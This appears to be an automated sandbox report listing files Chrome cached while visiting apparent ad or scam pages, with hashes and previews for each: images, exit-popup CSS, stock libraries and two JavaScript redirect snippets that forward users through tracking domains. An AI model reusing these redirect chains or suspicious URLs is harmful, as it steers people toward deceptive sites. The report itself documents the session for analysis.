.F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Jan 8 13:44:22 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9986965163406087
Encrypted:	false
SSDEEP:	48:800Od+T6OWHdidAKZdA1duTeehOuTbbiZUk5OjqehOuTbxy+yT+:80a/NTfTbxWOvTbxy7T
MD5:	DAE38772C17B7ECE59D24755D9C28455
SHA1:	0FBE28A8E28EA909706062F0A2456D0B88860336
SHA-256:	BA154314A07F6509E8012E54E9C80B4B26223C968D124DBF31E81834460D02B7
SHA-512:	1BBF21B53BD622890689B6C0B094C77E588D18E54D9AC29A84DD28966758E8144C3CCF482F0FB7628B0622798524C1426ECE1AD240A188463770707B3CCECADF
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....3...a..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I(Z.u....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V(Z.u....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V(Z.u....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V(Z.u..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V(Z.u...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........9.X.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=960, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=960], progressive, precision 8, 150x150, components 3
Category:	dropped
Size (bytes):	65241
Entropy (8bit):	7.847148206735093
Encrypted:	false
SSDEEP:	1536:dXpRXpeiUEQ3M0f1JaiqS1mMsNUtYNfid/jcKEgSo1GsT:dTSMUiPS1mDNU2wgCtT
MD5:	665BBAAA4B56B5FA6E6B241DA30B9B8E
SHA1:	3130A6C61F6E15492DD58D9DDD47F37A72BF7941
SHA-256:	5418439E04D58D4E7D335D1BFC325284A1CE21F426C24D69F8DE527DA97B7B76
SHA-512:	72717DCE1A9D9F7880C4E3BDE2532A7753A4D99C48CA604D471BCD5CCDCF760E8A818FEEB610D3BFDF9B784A507F36B15218235F119E2839018533741FFABD2F
Malicious:	false
Reputation:	low
Preview:	....$.Exif..MM........................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:18:51............0231...................................................................n...........v.(.....................~..........#:.......H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..L...[k.m...m..\..#.t..5..l..h.x......G...l...O .w..{..i...v..w...?.UiH

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 94 x 93, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	6352
Entropy (8bit):	7.967097008955388
Encrypted:	false
SSDEEP:	96:s8gZUW/uobVvoEpojW9UlQFAZVgu2A5R7KiIuFk1433TUThvfYbQJHcvcb9kYHnQ:YWobVwe2W2D21sF84oVLeLqRyt9P
MD5:	22508899121504E1B30622E4B68367EE
SHA1:	9064AC9456F4D6CC7ECBAF6B6F0168F89E9DA4A6
SHA-256:	BF97443D681D2BC0CA04B707D0D3D443BCF99B1BF4FC0AF84AC51286D0B4E02B
SHA-512:	354548C5792A0BD74F2E97AB5963B7D071342A7F2F7D66E09E4C0FF005D41AE789B590528E101769E1B4528FA4514013BFFA516750D38675029B1F2E4C4175E6
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...^...].......!.....PLTE...............................................................z...~.................l........v.~...}..........}...........n..S..T..8.....c........g........\..[..m..a..H((+.."346..0..]..`..F..k..3LA# ....i..Crrt..saae........{..a&!.{{}..y..Y..l..k..>.....R..........hhl....;=A]O-..g..491......`TVZ}pE......GIK..C..;n`5.....rPOP..KhY)3).BDF..[[].U}l7.......w..r..[..S.zA......r..F........{i`J..:>7&.i..a..O..K..>..J.B.A..'UH&^O#.................n..i..YcV4D:......d.c..P.t2we+..........\|....w..`.T..I[PE........W..J.C.5..%.....R..M3-%..iE<2.t.zc.}L..3..^zq]jf[..1...6PJ6..2..<..5...DHW..@..=......TK...,tRNS....+;J..z4oi..xC.^.........U............jX....IDATh..._.g...A\u.Q..3w....e].!!.$...LBB.. .....Ev..!..".=k.....bkk.x>..?...........o.I.....v....'.8o....V..t.............._..^...-a.....4av........4....#;9....5_..y.Y.5h........m.4.".x...u..p.......~T.M.~.[..b...$.}_.l{W,...y."I.X.%..H$....=.

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4594
Entropy (8bit):	4.749911397571929
Encrypted:	false
SSDEEP:	96:jcoFhCFEkFjmp3BFOFDmN0Fvr1uE0FlErFifTdLUtTMKod5u:jjWyQcGr1uEWErFifTdL8APd5u
MD5:	933283E6991B27391F59CEF1BA49BA9C
SHA1:	05E0D513404C3051E4FAB97E1DE00CA66F117B33
SHA-256:	8676C186C33D1C97BDA99626BC731EE073D45853806921E1C9FDB3257F7C1D7F
SHA-512:	8BA1C51888E8106B7F6155E48BE05630BAEB1614ABC8591E51D7191E0473BD2DE365CAA3ADE32086FD06EC1DC1F0FCC75C7FBCDE111494A79D148A2C69E3F36B
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/css02/tosPop.css
Preview:	.app-benchmark {.. position: fixed;.. width: 98%;.. left: 0;.. bottom: 0;.. padding: 5px 1%;.. background-color: #CCC;.. color: #333;.. text-align: right..}...exitpop-content {.. position: fixed;.. height: 400px;.. width: 708px;.. margin: -200px 0 0 -354px;.. top: 50%;.. left: 50%;.. text-align: left;.. padding: 0;.. border: 0;.. z-index: 2147483647..}...exitpopup-overlay {.. background: rgba(0, 0, 0, .6);.. height: 100%;.. left: 0;.. position: fixed;.. top: 0;.. width: 100%;.. z-index: 2147483647;.. display: none..}...exitpop-content img {.. display: block;.. margin: 0 auto;.. position: relative;.. text-align: center;.. max-width: 100%;.. height: auto..}...exitpop-discountbar {.. background-color: red;.. border-bottom: 4px dashed #fff;.. color: #fff;.. font-family: Arial, Helvetica, sans-serif;.. font-size: 15px;.. font-weight: 700;.. height: 50px;.. line-height: 50p

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65299)
Category:	downloaded
Size (bytes):	80927
Entropy (8bit):	5.179669759700838
Encrypted:	false
SSDEEP:	768:wpnu4ImmtHVUFIEz/V7BTtWD4uEpUbs+BOquiA2r+eFJQnK9W+ieMpTHsH1Olm0t:wluV+UFBOqtFpR8od89cvEz
MD5:	21F815FF6D1883C4E81D821D38FF4070
SHA1:	386EA8BD17F21149C4E3A2303665FE6398E4E7D0
SHA-256:	F67B782EC5A62C8FCEDB89535BCF48CC02AE06A119E3B97FE2B875FAD1FF358F
SHA-512:	90115F497B93299700055A2E4581A7528DF928A6B5141AD88301B83C0C7B6761DEAE89279B471AD859B64E8B1DAEB237E7A1031CC5B7F374B7212AF029C54F53
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/js/bootstrap.bundle.min.js
Preview:	/!. Bootstrap v4.5.2 (https://getbootstrap.com/). * Copyright 2011-2020 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery")):"function"==typeof define&&define.amd?define(["exports","jquery"],e):e((t="undefined"!=typeof globalThis?globalThis:t\|\|self).bootstrap={},t.jQuery)}(this,(function(t,e){"use strict";function n(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function i(t,e,i){return e&&n(t.prototype,e),i&&n(t,i),t}function o(){return(o=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&Object.prototype.hasOwnProperty.call(e,"default")

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54926)
Category:	downloaded
Size (bytes):	55111
Entropy (8bit):	4.7118090605418175
Encrypted:	false
SSDEEP:	768:guC31UP18Pq4/vnU63HJXkQCZ/WMQyjJKX719sGsQz5:gu5PWC4/vzH5BCkgc7zsiF
MD5:	E4C542A7F6BF6F74FDD8CDF6E8096396
SHA1:	3A0571A695A35F238026B9398386DC99D9A0C56D
SHA-256:	EEB17A45A48ACA1D7ADBCF04DE155DCD0B47CB36AD036310446BB471FEA9AAA3
SHA-512:	80C8D07836842C9D2BC8223E16D22DBAC53D3240227C265C1AAEFCF45AF3922338F43F256C38686946885F8012535F3BC287CC3658012787246EB5CCF6C13A3E
Malicious:	false
Reputation:	low
URL:	https://use.fontawesome.com/releases/v5.8.1/css/all.css
Preview:	/!. Font Awesome Free 5.8.1 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). */..fa,.fab,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:inline-block;font-style:normal;font-variant:normal;text-rendering:auto;line-height:1}.fa-lg{font-size:1.33333em;line-height:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-fw{text-align:center;width:1.25em}.fa-ul{list-style-type:none;margin-left:2.5em;padding-left:0}.fa-ul>li{position:relative}.fa-li{left:-2em;position:absolute;text-align:center;width:2em;line-height:inherit}.fa-border{border:.08em solid #eee;border-radius:.1em;padding:.2em .25em .15em}.fa-pull-lef

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 329, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	56100
Entropy (8bit):	7.961895882138943
Encrypted:	false
SSDEEP:	768:KVDqp+/pejDJJdvrNz4+w17hX7RogHNZ28KycecckgEfDjpPnGZVvzyfQzV6gBA9:KFqhDJbvKbhXn2JecckRb9PaVr4OVOBT
MD5:	B9D51B9D8C52249773141F7AFEC83D4D
SHA1:	D44FC646D3F57E086EC7D4CEC3A6D7C8C6EAE183
SHA-256:	E7B059F9D7A222A13ADDC6636D466DB294DA697DF8F460B94BF34C98B9CBF907
SHA-512:	763280D1C8A9EDB5448E0E5D9639185506E7DAFE2811A824626B8D5F1DB3080C22EAD931E2A1F683D4C3DB144DF97CBC7FA3154E14F6AB27043593258E5DC3EA
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......I.....z..\....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-10-14T17:02:29+08:00" xmp:MetadataDate="2024-10-14T17:02:29+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:79d37792-2a20-9246-84af-36b51267eb94" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-b

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	304
Entropy (8bit):	5.540242756602945
Encrypted:	false
SSDEEP:	6:uIRnXHFmmmULqR4Fj9/CJKSK1YGLqR4Fj9/5V/VMCGYoVL:lXHAxp4Lapv4Ll9IL
MD5:	81A04C470887D8FCDD96434D60BC18AB
SHA1:	168084E8E64E3E9C84435BBD710E1C8CA8B9AEA6
SHA-256:	93B7FE3FFC6B4F9D34648FCEBB393D5AD6D3647CFCB60B7D694EF15798552574
SHA-512:	DB4EC249C7DCBF7AD817F51A25D7A83BEC648B80AB2E2EBEF04F87F8B6E1F45AE9FC60A6114920859C9175525AE5817B2C19A5DCC1A93F2DD0861B7DEDE49B83
Malicious:	false
Reputation:	low
URL:	http://vwi46h7.terraclicks.click/t/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9
Preview:	<script>.setTimeout(function(){. window.location.href = 'https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756'; . console.log('redirecting to https://www.loadurl24.com/25SQ2G9N/7DFLXWR8/?sub1=9&sub2=461-26099&sub3=232-321477-571756');.}, 1000);.</script>.<p></p>.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 608 x 456, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	338620
Entropy (8bit):	7.985576840656591
Encrypted:	false
SSDEEP:	6144:rpgpMgQbB7AOBlVLqB8TwUEw0jrZwkUub/tRXK6tCmlU4Z6f:rGGlAMLx9YrZwkja6hlUUY
MD5:	6E047F220FE970FF12B5CCEE85E7C918
SHA1:	93F566F241225251868A735C050E1277719CD8E0
SHA-256:	80061EBCA538AFF7A21C854A8347278E265F439B1DF73726D87E5A8E07941F34
SHA-512:	114F708607CD2B40CB693C63880C391019285B0EFA5DEF66F00A5829CFBF07DDB5537E5D6420A569912E3D537FD9BED3C4600A114AD3DAF9E9511C99C32D2EEF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`.........f.......pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-06-28T22:14:56+08:00" xmp:ModifyDate="2024-10-14T17:03:54+08:00" xmp:MetadataDate="2024-10-14T17:03:54+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:aab0244c-de85-4040-aba0-8119ad10e2c8" xmpMM:DocumentID="xmp.did:a977b8d4-4488-b54f-b959-d08dbb008732" xmpMM:OriginalDocumentID="xmp.did:a977b8d4-4488-b54f-b

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	235
Entropy (8bit):	4.996687328840349
Encrypted:	false
SSDEEP:	6:HXQI4ySmfH1A7YmmBi7YmjA0VhM+yp7YmmJyR13YoVL:HXYknxJX0VM2xYwIL
MD5:	41735C0E24BE1E5BD89C1F6531207494
SHA1:	9EAE1BFA3B43E52C21E87FABCD63A4C2A3E55554
SHA-256:	A594B117BC9C64745935F48B866C3CAA70CDED9C35EE02841A28277F3E75FFE3
SHA-512:	2CE91960620061DE0C91383930CC83BA32CCAD82E75C6CF8678CCF907021EA8D2901B327AF67565593D765873FD7988AA533753A2B8E94E2FB38D71C3A3C787F
Malicious:	false
Reputation:	low
URL:	http://vwi46h7.terraclicks.click/rd/4fRUWo26099tRCA461sdwbdplppv232VXGPAFVAHBPJXIV321477KIEL571756p9
Preview:	<script>.var tarcking_param = window.location.href.split('#')[1];.if(!tarcking_param){..document.location.href = document.location.href.replace("/rd/", "/t/");.}else{..document.location.href = '/t/'+tarcking_param;.}.</script>.<p></p>.

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 960 x 960, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	671883
Entropy (8bit):	7.989225233303524
Encrypted:	false
SSDEEP:	12288:wWEVBMFzcAjkrPsYJC/qYOaoLrB/8rJ1tBxXePPaEzF6Ck:8VCFzcAAPssrLrgJ1Tw7cCk
MD5:	07019DA2B04B173DA475D8E1E37F619F
SHA1:	50A4B11F3AF76D94845FE3E24865451E744FCEF2
SHA-256:	F22D6608A52205BFDE96F6F8531388C5E526C440B07C3F6C05FE5999E3EC666C
SHA-512:	578029F1BF987283C784C2956DBC74FFF553D29A857EC3FD10C27A6CAD6E46D3E5ACF6A814CAA0B79F67638C0569A3AA68D7F75B77FCFA64C206BD125E1D7FC7
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/prize1.png
Preview:	.PNG........IHDR.....................pHYs................ViTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2023-07-25T15:45:38+08:00" xmp:MetadataDate="2023-07-25T15:45:38+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1f6dfd69-2afb-194b-9658-3f354d405a6f" xmpMM:DocumentID="adobe:docid:photoshop:aa1abfb0-89a6-d54c-a739-04434a439c4c"

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1781
Entropy (8bit):	7.876950143793336
Encrypted:	false
SSDEEP:	24:rbi3mjrgCY2pCoduMC6qjfNOIsLMeipbHJ7BG2TetUJRv0WTUDJ0f+743oJCrIZM:rW8y3ikfNneMbHFjTL0KwD9JsqM
MD5:	E8D617749C17919B73A255833CC16DF5
SHA1:	8AAEFCB3965FC52D9782FB9A76B81DF3FE673282
SHA-256:	EB97F1CEB86CF65FEBE6FC09278D503747F140E18297B6DA6EE4BDCD41479F43
SHA-512:	EAB146AC9E6005D49185780FE731AC54C5498B24117872797A877A5A428D961F70AF174FF91E51857764BCE965931E718477AC37987DBBCF82FB147E683EBFBC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...(...(........m....IDATx....t\[...d.x..uj...8..8..v'.fm.._..&5..g...M..g..]..{..>#.g...`.n...?.`....W..CAdn.:..../\LHh...e./....'.6..g'....)h.v.V....(L.6(&.6...([..h.V".#......G..MS(..t....9PC.P..u.y.=+...h......Q.....89.92p...;..La....m.&.y......e..nL."W....2.am..{O..-.....{.{..+......h.....P..b=.' "".b..A.v.9.,p...A...0a.d.?....8...&..O...b........M....3...JM.`.......ul"............IL.Y...FU......r..ON[).9.`..........H3....)..}..s....KM,t...D.i.]l7Y.0.L._.jB...v.y..o36n.......+..^$...3F....;..N...E.%..".0.}....KE....J.IiB.....6qCA.SG... .j.?k.P.j5.z}.._..I....F...2g.I......._[......_ .......].G.C)9/.uHM-..E...._.<.9.&L$9x....c.vG.e....C.R.eh.z....\\.BeL.K.W..Q..m..Y...-........%...Q.i0s.d..l.......h..].yI$..3).q.]0m.j....B........... ....6q..Q#qf..Z;=d..F2.........._\..Z.k.pt..:...B....F.].%.....P..G.y.y.....}.....mD...U0..\.q.j../v....aa.....~.gp...J....<.+....EcD.x...w........F.=...R=-..+#..Ef..&.

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 960 x 960, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	671883
Entropy (8bit):	7.989225233303524
Encrypted:	false
SSDEEP:	12288:wWEVBMFzcAjkrPsYJC/qYOaoLrB/8rJ1tBxXePPaEzF6Ck:8VCFzcAAPssrLrgJ1Tw7cCk
MD5:	07019DA2B04B173DA475D8E1E37F619F
SHA1:	50A4B11F3AF76D94845FE3E24865451E744FCEF2
SHA-256:	F22D6608A52205BFDE96F6F8531388C5E526C440B07C3F6C05FE5999E3EC666C
SHA-512:	578029F1BF987283C784C2956DBC74FFF553D29A857EC3FD10C27A6CAD6E46D3E5ACF6A814CAA0B79F67638C0569A3AA68D7F75B77FCFA64C206BD125E1D7FC7
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................pHYs................ViTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2023-07-25T15:45:38+08:00" xmp:MetadataDate="2023-07-25T15:45:38+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:1f6dfd69-2afb-194b-9658-3f354d405a6f" xmpMM:DocumentID="adobe:docid:photoshop:aa1abfb0-89a6-d54c-a739-04434a439c4c"

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2322)
Category:	downloaded
Size (bytes):	263156
Entropy (8bit):	5.348445022195202
Encrypted:	false
SSDEEP:	6144:2yv+8iXlooXwDXh6BpNlRT3bU0TjKXwHbE62bjs54IMKn:2yvJAooXwDXhv0T+wH462boMKn
MD5:	78DFE12AD5F4458B522405518409BD9A
SHA1:	5EDE2290594E1643CE59F1C25FB672E9CD12D11D
SHA-256:	ADCAB2DB5F1516BDB261688941612C27FE722A01D4C6A73847C25609DCF9E5D0
SHA-512:	C11C5BFB2220DF97EAB68EC6A747B7959EA4776992F322B65BB884105A8ECBDE6FA38BD312119EFA6733CD8A12FC1DBC7C4C585184BD43E45EE273997922359E
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/assets/dist/codebase.min.js
Preview:	!function(t){function e(){}.function n(t,e){return function(){t.apply(e,arguments)}}.function o(t){if("object"!=typeof this)throw new TypeError("Promises must be constructed via new");if("function"!=typeof t)throw new TypeError("not a function");this._state=0,this._handled=!1,this._value=void 0,this._deferreds=[],s(t,this)}.function r(t,e){for(;3===t._state;)t=t._value;return 0===t._state?void t._deferreds.push(e):(t._handled=!0,void a(function(){var n=1===t._state?e.onFulfilled:e.onRejected;if(null===n)return void(1===t._state?i:f)(e.promise,t._value);var o;try{o=n(t._value)}catch(r){return void f(e.promise,r)}.i(e.promise,o)}))}.function i(t,e){try{if(e===t)throw new TypeError("A promise cannot be resolved with itself.");if(e&&("object"==typeof e\|\|"function"==typeof e)){var r=e.then;if(e instanceof o)return t._state=3,t._value=e,void u(t);if("function"==typeof r)return void s(n(r,e),t)}.t._state=1,t._value=e,u(t)}catch(i){f(t,i)}}.function f(t,e){t._state=2,t._value=e,u(t)}.function

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 140 x 60, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2691
Entropy (8bit):	7.859226761283862
Encrypted:	false
SSDEEP:	48:a0ruqWCBNSNmI9cQ/4MtClVbvMznvEJUTRrHe2QGNP7GrFg:lDj0PduvAvmerJQEX
MD5:	A7A81D3DA4BD119AD937299B3FB2B185
SHA1:	C5A1E1C39B25573C5A76FE9200990D20AECA4255
SHA-256:	C7A07A2C8F15510DA4C2AE3C3CC7FF2FD2B2AE28C7F31463455FB972A7387FE0
SHA-512:	A6597727F5AF5FE63F7207B173DBA5209E6482366622C07E6DDA53ADB4B5F8FFCCFFF9ACD22601D68F6EFE59D0214D6037F365DA352C12D6B4DBABABFE9A046C
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......<.......y....PLTE.....)w.'u....o.B.(((............<<<:::.........................CCC...B1;AAA111...QQQ.........MMM...+x333^^^rrr.........ooo..........7.GGG888999???///VVVAAA...aaabbb!!!iii,,,111.........ggg......!!!222$$$===...'''RRRiiiaaa\\\KKK!!!...LLL...UUU888sssGGG~~~...bbbKKKqqq..lll.........KKK....k........ttt..g.B.OOO444...**MMM...YYY111JJJJJJ222444OOOfff....W.sss'''ddd..GGG....k.rrr................sss....'pYYY..../u.Y..-x.o..T.)))eee.7.ttt.....R.....FFF.............+x..]]].:...000rrr..^..]....,y....c...h..p.B...c.b..L.zzz.[..(u.j........t...........E.....%%%555...E...H..U............8.....0z..W..E..c.....[..O..W.....^..."""........I..F..n..B000..S.4\|..:.T.~.'.......tRNS........"O"...../...^.......KIH,.......N:..............xrI;5+("...................wggd^]TGF?=8531.....................\|sqmib]YWMGC=0..................}rcY?4......................~usfeaUO#........wn.%W'....IDATh....W.Q....X.......R.....`wwwwwwww.I...wFP@.#.Q^.

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 140 x 60, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	3071
Entropy (8bit):	7.910382086539217
Encrypted:	false
SSDEEP:	48:/6DFl4wislFxN729L5xHbqugOsJHX8o0R2H04wkB4V6OiE7gEeH0T/90oUbk22F9:/YTMmqL5QLTJ385R2U4WV6WvT10GoVIz
MD5:	20069ED254CF488EB8223E05DF810414
SHA1:	CD649F043E43B6986E63CB3BB6658FF33D91BF64
SHA-256:	3AF054219051FA2D21116B671CE04B82989FD0155E6148466851E081F3E55BA1
SHA-512:	185BC43754185CF123D5EC297CED49CA713CCA7794358661B6B3322E47D334A382E12C6C43438F1484A749A9FF1662027A769DDCF7E24AE522E7FE6605823A56
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/images/secure1.png
